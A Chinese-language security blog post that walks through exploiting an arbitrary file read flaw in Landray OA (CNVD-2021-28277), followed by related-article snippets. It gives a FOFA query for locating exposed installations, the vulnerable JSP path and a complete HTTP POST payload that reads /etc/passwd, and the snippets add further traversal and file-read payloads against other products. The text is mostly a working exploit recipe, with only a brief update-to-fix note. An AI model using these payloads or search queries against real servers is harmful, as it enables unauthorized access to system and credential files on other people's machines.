蓝凌OA前台任意文件读取漏洞利用

编程

近期CNVD爆出漏洞编号：CNVD-2021-28277，首次公开日期为2021-04-15，蓝凌oa存在多个漏洞，攻击者可利用该漏洞获取服务器控制权。今天挑选一个蓝凌OA前台任意文件读取漏洞进行分析使用。链接：https://www.cnvd.org.cn/flaw/show/CNVD-2021-28277

蓝凌简介：蓝凌软件全称深圳市蓝凌软件股份有限公司，于2001年在深圳科技园成立。蓝凌是国内知名的大平台OA服务商和国内领先的知识管理解决方案提供商，是专业从事组织的知识化咨询、软件研发、实施、技术服务的国家级高新技术企业，近期Landray-OA系统被爆出存任意文件读取漏洞。

一、漏洞位置

FOFA网络空间引擎，FOFA语法：app="Landray-OA系统"

打开测试网站前台登录页面：

漏洞的路径在 xxxxx/sys/ui/extend/varkind/custom.jsp下面，也就是custom.jsp里面，需要使用post请求方式，请求的参数为var={"body":{"file":"file:///etc/passwd"}}

使用hackbar火狐插件修改为post请求传递参数，打开 xxxxx/sys/ui/extend/varkind/custom.jsp为如下画面显示

二、漏洞验证

可以看见，只需对file里面的参数进行修改，就可以任意读取系统文件passwd信息的高危漏洞；

或者使用burp测试：

漏洞payload为

```
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=EA419896062AC4B6FE325FF08B8AF36E
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

var={"body":{"file":"file:///etc/passwd"}}
```

修复建议：建议使用蓝凌OA的系统更新系统至最新版本，附录地址：https://www.landray.com.cn/

特别声明：

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，我不为此承担任何责任。

作者有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者的允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。切勿用于非法，仅供学习参考

更多相关推荐

mysql 任意文件读取漏洞_Adminer任意文件读取漏洞

mysql 任意文件读取漏洞

软件简介官方网站：https://www.adminer.org/Adminer是一款轻量级的Web端数据库管理工具，支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库，类似于phpMyAdmin的MySQL管理客户端，整个程序只有一个PHP...

任意文件读取漏洞

web安全

fofa:body=“webui/js/jquerylib/jquery-1.7.2.min.js”构造访问/webui/?g=sys_dia_data_down&file_name=…/etc/passwd

php 任意文件读取漏洞,Php168 读取任意文件漏洞

php 任意文件读取漏洞

转载地址：http://hi.baidu.com/saiy_hi/哦，忘记说了，程序官方URL：http://www.php168.com/#代码:..job.phpLine:117 if(eregi(".php",$url)){ die("ERR"); } $fileurl=str_replace($webdb[www_url],"",...

通达OA任意文件删除+任意文件上传RCE漏洞复现

安全 **安全**

漏洞概述 通达OA是一套国内常用的办公系统，在V11.X<V11.5和通达OA2017版本中存在任意用户登录漏洞。攻击者在远程且未经授权的情况下，通过此漏洞可以以任意用户身份登录到系统（包括系统管理员）。 影响版本 通达OA...

任意文件下载/读取漏洞

web安全　渗透　安全漏洞　web安全

文章目录任意文件下载/读取可下载文件WindowsLinuxSSHNginx任意文件读取的利用思路进一步推断系统版本无痕反弹shell常用默认路径整理sshNginxApachejettyresintomcatsvn一些网站由于业务需求，往往需要提供文件查看...

Resin任意文件读取漏洞

java　数据库　php

Resin是什么虽然看不上但是还是原因下百度百科：Resin是CAUCHO公司的产品，是一个非常流行的支持servlets和jsp的引擎，速度非常快。Resin本身包含了一个支持HTTP/1.1的WEB服务器。它不仅可以显示动态内容，而且它显...

GlassFish任意文件读取漏洞 漏洞复现

vulhub_Writeup　网络安全　渗透测试　安全漏洞

GlassFish任意文件读取漏洞byADummy0x00利用路线直接url执行payload0x01漏洞介绍java语言中会把解析为，最后转义为ASCCII字符的（点）。利用来向上跳转，达到目录穿越、任意文件读取的效果。。0x02漏洞复现环境运...

任意文件读取下载漏洞

安全　信息泄露　任意文件下载　漏洞　安全　任意文件下载

任意文件读取下载漏洞漏洞原理一个正常的网站，存在一个下载文件的功能，同时还会从浏览器接收文件名字，将存在任意文件下载漏洞。利用方式readfile.php?file=/etc/passwdreadfile.php?file=../../../../../../../.....

任意文件读取及删除漏洞

PHP代码审计 **php**

任意文件读取漏洞及危害通过提交专门设计的输入，攻击者就可以在被访问的文件系统中读取或写入任意内容，往往能够使攻击者从服务器上获取敏感信息文件，正常读取的文件没有经过校验或者不严格，用户可以控制这个变量...

Atlassian Confluence任意文件读取漏洞

AtlassianConfluenceAtlassianConfluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件，也可以用于构建企业WiKi。该软件可实现团队成员之间的协作和知识共享。漏洞简介漏洞名称：任意文件读取漏洞类...
